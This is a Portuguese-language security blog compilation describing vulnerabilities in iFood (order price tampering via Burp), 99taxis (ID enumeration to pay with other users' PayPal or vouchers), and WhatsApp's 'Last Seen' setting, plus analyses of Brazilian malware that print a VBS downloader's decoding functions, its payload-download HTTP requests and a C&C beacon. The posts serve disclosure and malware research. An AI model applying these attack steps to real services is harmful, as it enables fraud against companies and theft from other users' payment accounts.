Food Hacking

Food Hacking

Igor Rincon – A.k.a M4dwolf

Continuando a saga através dos aplicativos mobile brasileiros, neste artigo irei explicar como ocorreu a exploração de uma vulnerabilidade de segurança em um aplicativo muito conhecido no Brasil por criar uma estrutura de comunicação para restaurantes e clientes.

Nome do aplicativo: iFood – Delivery de Comida
Fabricante: https://www.ifood.com.br/
Versão: 5.2.8
Descrição da empresa: Desenvolvimento de plataforma para delivery de restaurantes
Resumo da vulnerabilidade: A vulnerabilidade permite que o usuário manipule os preços dos alimentos no aplicativo.

Como descobri a vulnerabilidade ?

Durante minha análise notei que a maioria da comunicação do aplicativo iFood é baseado em formato JSON como vocês irão notar durante a explicação.
Após entrar no aplicativo e fazer um cadastro com minha conta eu defini uma localização falsa em uma cidade para verificar os restaurantes que haviam nela. A primeira tela que me apareceu foi:

artigo.png
(Tela inicial do aplicativo)

Para gerar essa localização, a aplicação faz uma consulta no servidor do iFood especificando um filtro de localização:

2.png
(Requisição da lista dos restaurantes)

Logo em seguida selecionei o restaurante “China In Box” pelo simples fato (no meu caso) de ser o primeiro da lista.
Quando clicamos no restaurante, é enviada uma consulta pro servidor requisitando a lista de menus (ou pratos, chamem como preferir) utilizando o ID pertencente ao mesmo. Nos é retornado a seguinte tela:

3.png
(Lista de pratos disponível para seleção)

Selecionei alguns objetos no menu e adicionei ao Carro de Compras [1].

4.png
(Carro de Compras)

Podemos observar acima o preço de cada produto e também o preço do produto final R$ 267,20.
A falha está na possibilidade de modificação destes preços dentro do envio (POST) quando clicamos para verificar nosso Carro de Compra, segue exemplo:

5.png
(Requisição para chamar o carro de compras em hexa – Formato JSON)

6.png
(Requisição para chamar o carro de compras em ASCII – Formato JSON)

Alterando os parâmetros através da ferramenta BURP SUITE [2], temos esse retorno:

7.png

Conforme podem observar, o atacante neste caso fez uma alteração muito alta no valor e isso pode ser notado pelos restaurantes quando fizerem a verificação do preço. Imaginem um cenário onde apenas pequenos valores são alterados como: R$ 5,00 ou R$ 10,00 e posteriormente o atacante faz uma ligação informando que foi utilizado um cupom de desconto. Perfeitamente aceitável, hm ?

Prova de conceito

Como não tenho nenhum contato com restaurantes para testar o recebimento da requisição do cliente, eu escolhi por fazer uma requisição verídica e posteriormente cancelar.

8.png
(Preço de um pedido normal)

9.png
(Mesmo pedido modificado com o BURP SUITE)

Após ligar para fazer o cancelamento, o atendente me informou que havia notado algo errado pois um dos pedidos que tem o preço médio de R$ 10,00 – R$ 14,00 estava por R$ 2,50.

Abaixo o e-mail que recebi após fazer o pedido:

10.png
(E-mail recebido pelo iFood confirmando minha requisição modificada)

Por fim, quero deixar claro novamente que CANCELEI o pedido e não houve dano/lesão ao restaurante. O iFood falha em validar os valores dos pedidos, deixando a validação á cargo do cliente que como demonstrado, pode ser manipulado.

Responsible Disclosure

Entrei em contato com a empresa responsável pelo APP no dia 27/01/2016 e notifiquei a falha:

Dia que entrei em contato: 27/01/2016
Dia que responderam: 27/01/2016
Dia que enviei o artigo: 27/01/2016
Dia que corrigiram: 28/01/2016
Meios de contato: Através de e-mail conversei com o CTO e o CEO e por telefone com o CTO.

Observação: As empresas no Brasil deveriam seguir exemplo do iFood no quesito de recepção aos pesquisadores de segurança.

Referências

[1]http://blog.redehost.com.br/dicas/e-commerce-o-carrinho-de-compras.html
[2] https://en.wikipedia.org/wiki/Burp_suite

Notícia no G1: http://g1.globo.com/tecnologia/blog/seguranca-digital/post/falha-em-site-de-delivery-ifood-permitia-alterar-precos-de-pedidos.html

Taxi Hacking

 

Taxi Hacking

 

Existem centenas ou milhares de aplicações que prestam serviço a diversas empresas no mundo sendo que a moda atual está nas aplicações de táxi e carros particulares como: Easy Taxi, 99taxis, Uber e etc. Uma das coisas notáveis no mercado de segurança é a falta de análise de vulnerabilidades nos aplicativos mobile o que trás bastante consequência para os consumidores.

Neste artigo irei explicar como uma aplicação vulnerável pode interferir no sistema financeiro das empresas que o utilizam.

 

Nome da aplicação: 99taxis

Fabricante: http://www.99taxis.com/

Versão: 3.9.5.4

Descrição da empresa: Aplicativo mobile para prestação de serviço em táxi.

Resumo da vulnerabilidade: Utilizar a aplicação com conta bancária de outros clientes da fabricante.

 

Ao abrirmos a aplicação nos é mostrado a seguinte tela:

1

Ao clicarmos em “Pedir Táxi” nos aparece três opções sendo elas:

2

Endereço: Endereço de onde você se encontra (Utilizei um endereço não referente a lugares que frequento para este artigo.)

Opcionais: São opções que você pode pedir no serviço como táxis com o porta-malas maiores ou táxis que aceitem transporte de animais. Uma observação interessante dessa opção é que ela depende do local que você está, ou seja, se você estiver perto do Aeroporto de Guarulhos, por exemplo, irá aparecer uma promoção de transporte para este lugar.

Posso pagar como: Aqui são listadas as opções para você pagar. Muitas empresas fazem um contrato com o 99taxis para gerarem um Voucher de uso (Ex: XXPTY02) que normalmente são utilizados para o pagamento de seus colaboradores.

 

Descrição da vulnerabilidade:

 

Cada colaborador ou cliente da 99taxis é identificado por um número específico (EX: 50751540 – número fictício).

Ao pedirmos para listar as formas de pagamento é passada a seguinte URL para o servidor da 99taxi.

3

Servidor: api.99taxi.com

URL: api.99taxi.com/paymentMethods2/{NUMERO DE ID}?lat={LATITUDE}&lng={LONGITUDE}&locale=pt&uuid= {ID DE IDENTIFICACAO QUE SE FOR RETIRADO NÃO FAZ DIFERENÇA NOTADA}

 

Ao jogarmos essa url para um navegador, vemos:

4

Isso nos permite através do navegador mostrar todos os clientes da 99taxis e se possuem algum tipo de serviço como voucher ou paypal. A fórmula que encontrei pata listagem dos clientes é:

 

ID Novo Cliente = último ID + 1; Ou seja:

 

Se temos uma url por exemplo:

api.99taxi.com/paymentMethods2/123456/

O próximo cliente será:

api.99taxi.com/paymentMethods2/123457/

E assim por diante…

 

Arquitetura da prova de conceito:

Para provar que o ataque funcionaria eu tive que testar com a conta do paypal de um amigo (Greetz: Filipi Pires https://br.linkedin.com/in/filipipires) pela autorização.)

6

 

Passos descritos:

 

1 – Atacante loga na aplicação 99Taxis.

2 – Atacante clica no “Modos de pagamento” e captura o trafego.

3 – Atacante modifica a identificação dele para a identificação da vítima.

4 – Modo de pagamento do atacante é alterado para modos de pagamento da vítima e ela possui voucher ou paypal registrados na aplicação.

5 – Requisição maliciosa chega para o taxista com a identificação da vítima.

6 – Autenticação do pagamento feito via CPF.

7 – Vítima recebe e-mail de comprovante

 

Como é possível encontrar o CPF da vítima?

 

Quando acessamos a aba “Conta -> Método de pagamento” conseguimos capturar o seguinte tráfego:

https://api.99taxis.com/profilePayments/{NUMERO DE ID}?locale=pt&uuid= {ID DE IDENTIFICACAO QUE SE FOR RETIRADO NÃO FAZ DIFERENÇA NOTADA}

5

Obs: Número de ID (666) ficticio.

Tela retornada na aplicação após alteração do ID para conta da vítima:

7

Ou simplesmente colocamos a seguinte URL:

http://api.99taxis.com/users/00000 -> ID do usuário

Picture1

E observamos o campo: PaymentPin
Além da possibilidade de capturar o CPF pela própria aplicação, também é possível capturar através do nome em sites como: http://tudosobretodos.se/.

 

Comentário pessoal sobre o Response Disclosure

 

Aparentemente a fabricante corrigiu as visualizações via navegador do /user (informação de CPF) e /PaymentMethod2 (informação dos métodos de pagamento)

payment

Não testei a possibilidade de ainda alterar o método de pagamento pela fórmula de geração do identificador.

Ontem palestrei sobre essa vulnerabilidade no evento ROADSEC:

http://roadsec.com.br/sao-paulo-2015-palestrantes/

A 99taxis não atribuiu crédito a mim sobre a descoberta da vulnerabilidade, o que não é uma boa prática nas fabricantes de aplicação.

ATUALIZAÇÃO 19/11/2015

1 – Saiu uma reportagem sobre essa vulnerabilidade que pode se encontrada em: http://g1.globo.com/tecnologia/blog/seguranca-digital/post/99taxis-corrige-falha-que-permitia-cobrar-corridas-de-outros-usuarios.html

2 – Conversei com o CTO da 99taxis e ele explicou os motivos de problemas na comunicação da vulnerabilidade e que a segurança está em roadmap para a aplicação 99.

3 – Considerei a nota pública da 99taxis no G1 como uma forma de reconhecimento.

Igor Rincon  a.k.a M4dwolf

Exploração de feature – WhatsApp

Exploração de feature – WhatsApp

O aplicativo de comunicação WhatsApp possui uma feature conhecida como “Last Seen” (Português: Visto por último) onde as pessoas conseguem através das configurações do WhatsApp habilita-la ou desabilita-la. Essa feature pode ser explorada para que mesmo desabilitada volte a funcionar.

Escrevi esse artigo em fevereiro de 2015 e nunca cheguei a publicar então colocarei aqui para registro.

Ferramentas utilizadas:

  • Whatsapp Mobile (IOS)
  • Whatsapp Web (Sincronizado com um Android)
  • Burp Suite

No processo foi sincronizado um android com o WhatsApp Web e utilizamos o WhatsApp Mobile em um IOS (Iphone 5).

Como funciona a feature “Last Seen”:

No que podemos observar, a feature Last Seen trata-se de uma consulta onde uma requisição é feita para os servidores do WhatsApp e o mesmo retorna com os dados da última vez que o usuário esteve online na aplicação, podemos observar essa consulta sendo feita logo abaixo:

bg1

Como funciona o BUG ?

No WhatsApp existem alertas que informam quando um usuário está online e quando está off-line, esses alertas são baseados em tags:

Avaible: Quando um usuário abre a aplicação WhatsApp, modificando seu status para Online.

Unavaible: Quando um usuário fecha a aplicação WhatsApp, modificando seu status para “Offline”

O que fiz foi observar que mesmo com a opção “Last Seen” habilitada com a privacidade “Ninguém” (Bloqueando a visualização do Last Seen) esses alertas são entregues, o que possibilita desenvolver uma ferramenta para que seja feito um “match” quando a tag “Unavaible” é achada e gerar uma concatenação com o horário do sistema (Ex: 23:57 PM no Brazil ou 11:57 PM in USA) e com isso podemos criar uma lista de “Last Seens” dos nossos contatos.

Prova de conceito:

Primeiramente verificamos a configuração de privacidade do Iphone:
bg2

Agora do WhatsApp Web (Android) iremos verificar o alerta que é gerado pela aplicação sobre o WhatsApp Mobile (IOS) quando o usuário fica online:

bg3

E quando fica off-line:

bg4

Agora com os status de privacidade setado para “Ninguém”:

bg5

Alerta gerado para quando está online:

bg6

Alerta gerado para quando está off-line:

bg7

Com isso podemos concluir que é possível verificar a última vez que o usuário utilizou a aplicação WhatsApp ao escutar toda comunicação referente aos servidores do WhatsApp e gerar um “Last Seen” ao ocorrer um match com a tag “Unavaible”.

Igor Rincon – M4dwolf

“Decoding” de malware na unha

“Decoding” de malware na unha

Há alguns meses fiz um blogpost para a Trend Micro onde expliquei um processo de ofuscação em um malware e recebi um feedback bem legal da comunidade de segurança. Hoje quando estava pesquisando alguns ataques que estavam ocorrendo em tempo real descobri uma CC que estava com cerca de 8800 máquinas infectadas e infelizmente não tirei print na hora sendo que posteriormente o atacante (ou não) apagou a fila. Atualmente está com apenas 1295 registros de ataque.

10

Particularmente acho muito divertido entender como um algoritmo de ofuscação é criado por um atacante e sempre que posso estou tentando entende-los. Hoje irei explicar como foi o processo de quebra do encode encontrado no malware responsável pelas infecções acima.

Iremos brincar com a linguagem VB, muito comum entre as ameaças no underground brasileiro.

15

Imagem de parte do código do malware escrito em Visual Basic.

O atacante tentou ofuscar algumas strings guardadas em variáveis utilizando duas funções sendo elas: Shiriuuxx e andromedaxx. (Nome divertidos, não ?)

5

sCrf   =     shiriuuxx(andromedaxx(“›œ@•c¥@Ú@Þ@ßÓË“¬çË@Ù×@Æ”))

Um exemplo para entendermos melhor. Tradução: binary_getter/1.0 (User Agent)

Um outro ponto que me chamou atenção foi a variável “sAv” que ao meu ver deve ser utilizada para modificações do hash do arquivo com o intuito de bypassar alguns AV do mercado.

Mas como funcionam essas funções ?

O funcionamento do algoritmo é bem simples, coloquei comentado na imagem abaixo.

codigo

O processo basicamente é:

1 – Retirar os “@” das strings

2 – Selecionar um caractere de uma string. Ex: “A” é transformado em decimal assumindo o valor de 65.

3  – Selecionar o primeiro caractere da variável “key” (knd43uj) e tranforma-lo em em decimal. k = 107

4 – Diminuir o 65 do 107 e usar a função chr para transformar o número em char.

CÓDIGO: 

Function andromedaxx(Str) -> ‘Começo da função onde é passado o argumento “STR” que serão as strings como: Ý£@Úcc@¦á@ØÐÈ@ª@b¬@›œ•@k@a@­£™@ž”f@b@¤@¤Û@â@Øœ

str = Replace(str,”@”,””) -> ‘Processo de Replace onde é substituido todos os arroba “@” por nada, pegando o exemplo acima ficaria: Ý£Úcc¦áØÐȪb¬›œ•ka­£™ž”fb¤¤ÛâØœ
‘str = Replace(str,”%”,””) -> ‘Comentário do criado do malware
andromedaxx = str  -> Andromedaxx recebe o STR
End Function -> Final da função

Function shiriuuxx(str) -> ‘Começo da função com o mesmo argumento
Dim scumaru, lenKey, KeyPos, LenStr, x, Newstr, y1, y2 -> ‘Declaração de variáveis que serão utilizadas.

Newstr = “” -> ‘Variável vazia para controle posterior da concatenação das letras
lenKey = Len(key) -> ‘Consulta tamanho da variável Key = 7.  key = “knd43uj”
KeyPos = 1 -> ‘Declaração de variável para controle de posição na key.
LenStr = Len(Str) -> ‘Consulta tamanho da string a ser desofuscada. Ex: sRolex =     shiriuuxx(andromedaxx(“×ÛØœaØ”)) = 6

str=StrReverse(str) -> ‘Reverter a string para confundir quem está analisando. Ou seja, uma string que seria: ×ÛØœaØ passa a ser ØaœØÛ×

For x = LenStr To 1 Step -1 -> ‘Faz um “for” ao contrário, começando do × e depois Û e assim por diante.

y1 = asc(Mid(str,x,1)) -> ‘Pega a última letra da string e converte para decimal.
y2 = Asc(Mid(key,KeyPos,1)) -> ‘Pega a primeira letra da key e converte para decimal.

Newstr = Newstr & chr(y1 – y2) -> ‘Subtrai a ultima letra em decimal da string com a primeira letra em decimal da chave e concatena na variável Newstr (Que anteriormente não tinha nada.)

KeyPos = KeyPos+1 -> ‘Adiciona 1 ao KeyPos para controle da chave
If KeyPos > lenKey Then KeyPos = 1 -> ‘Se a posição da key for maior que o tamanho da key, é resetada a variável para continuar o processo.
Next -> ‘Termina o Loop

Newstr=StrReverse(Newstr) -> ‘Faz o reverso do resultado salvo em Newstr
scumaru = Newstr -> ‘Scumaru recebe Newstr
shiriuuxx = scumaru -> ‘shiriuuxx recebe scumaru
End Function -> Fim da função

É claro que no meio do caminho houve várias pegadinhas para solucionar e isso transformou o desafio em algo realmente divertido.

Meu amigo Pr0teus entrou na brincadeira e codou um script em python para desofuscar o código. Eu codei um em C mas por falta de tempo está com alguns bugs, quem resolver eu posto o nome e código aqui. Pode me enviar por e-mail: igrrincon{14,69 quilogramas}gmail{dot}com

Code em C para desofuscar: https://github.com/m4dw0lf/Scripts/blob/master/MalwareCdesofuscator.c

Code em Python para desofuscar: https://github.com/m4dw0lf/Scripts/blob/master/MalwarePythonDesofuscator.py

Greetz pro meu brother DMR (Ygor) que deu um help no C.

Aparentemente a campanha de malware começou em setembro por volta do dia 16. No malwr.com tem uma sample com code parecido.

Informações do arquivo analisado:

Anexo_Imagem4772.vbs – B6CD6F53B9CD3A52F8E8356EFDCE1C84

 

Download do PE (Greetz Robertux):
http://xx.xx.xx.xx/vdbmw10/v5rc.html
GET /vdbmw10/v5rc.html HTTP/1.1
Accept: */*
User-Agent: binary_getter/1.0
Host: xx.xx.xx.xx
Connection: Keep-Alive

 

http://xx.xx.xx.xx/vdbmw10/v5r0.html
GET /vdbmw10/v5r0.html HTTP/1.1
Accept: */*
User-Agent: binary_getter/1.0
Host: xx.xx.xx.xx
Connection: Keep-Alive

 

http://xx.xx.xx.xx/vdbmw10/v5r.html
GET /vdbmw10/v5r.html HTTP/1.1
Accept: */*
User-Agent: binary_getter/1.0
Host: xx.xx.xx.xx
Connection: Keep-Alive

 

Possíveis variantes:
f60cf9502abe159ee20dc515285869fa
6ae4a668a52ecff8eb4c7add5f13d0e8
adb87419a321999daa96896c1c1fb568
88a22014f2e83fa244f6dc6dc30a23da
150b1305d59394dd6d48dd126a10e7c0

 

Talvez em um futuro próximo eu mostre a análise que fiz dos PE baixados pelo VB Downloader.

 

Espero que tenham gostado.

Igor Rincon – a.k.a M4dwolf

Infecção de Malware: Como os atacantes sabem quais máquinas foram infectadas ?

Infecção de Malware: Como os atacantes sabem quais máquinas foram infectadas ?

Sabemos que o principal intuito atualmente dos atacantes que desenvolvem malware é para questões financeiras, mas como os atacantes conhecem e sabem quantas máquinas foram infectadas ? Qual a forma de controle sobre estas máquinas ?.

Há um tempo acompanhei um ataque em tempo real onde possíveis vítimas recebiam em sua caixa de e-mail um spam convencendo-as a baixar um arquivo de intimação para comparecimento a uma audiência.

O e-mail chega na caixa dos usuários da seguinte forma:

1

Ao clicar no arquivo chamado “Anexo-Intimacao.zip” o usuário é redirecionado para o site http://xxxxx.com/Entrega/Intimacao que possui o download do arquivo malicioso Exclarecimentos-N-2836-InTimacao.zip que ao extrair entrega o arquivo Exclarecimentos-N-2836-InTimacao.cpl

Esse CPL faz algumas ações no sistema mas iremos focar principalmente na forma como os atacantes enxergam as máquinas que foram infectadas. Ao fazer a análise dos tráfegos de rede encontramos o seguinte método HTTP:

POST /plugins/lyon/newaccess.php?from=%20Nome..:%20%20dc-

filesrv%20:..%20GbPlugin..:%20%20Sem%20Plugins%20:..%20ANTIVIRUS%20..:%20%20S

em%20Antivirus%20%20:..VERSAO%20Kl..:%202015-03-18

Parâmetros:

Nome =  Nome do computador infectado

GBPlugin = Verificador de plugin (Plugin de proteção bancária)

ANTIVIRUS = Versão do AV instalado

VERSAO KL = Possivelmente a versao de um Keylogger, que no caso não aparece informação

Ao entrarmos no site que o malware faz comunicação chegamos a esta tela:

2

Nesta tela podemos verificar um contador informando que 2058 máquinas foram infectadas por este malware, também possui o IP de onde veio a requisição (Apagado por questão de privacidade) e também o Geolocation.

Dessa forma um atacante consegue saber quantas máquinas foram infectadas pelo seu malware.

Sites com arquivos maliciosos:

hxxp://xxxx.com/Entrega/Intimacao/

http://xxxxx.com/moto.zip

C&C:

http://xxxxx.com.br/plugins/lyon/index.php

http://xxxxx.com.br/plugins/f1r3w4ll/index.php

Arquivo malicioso:

Exclarecimentos-N-2836-InTimacao.cpl – 917d6f111404d15cfa8a5801d9468380

Igor Rincon – a.k.a M4dwolf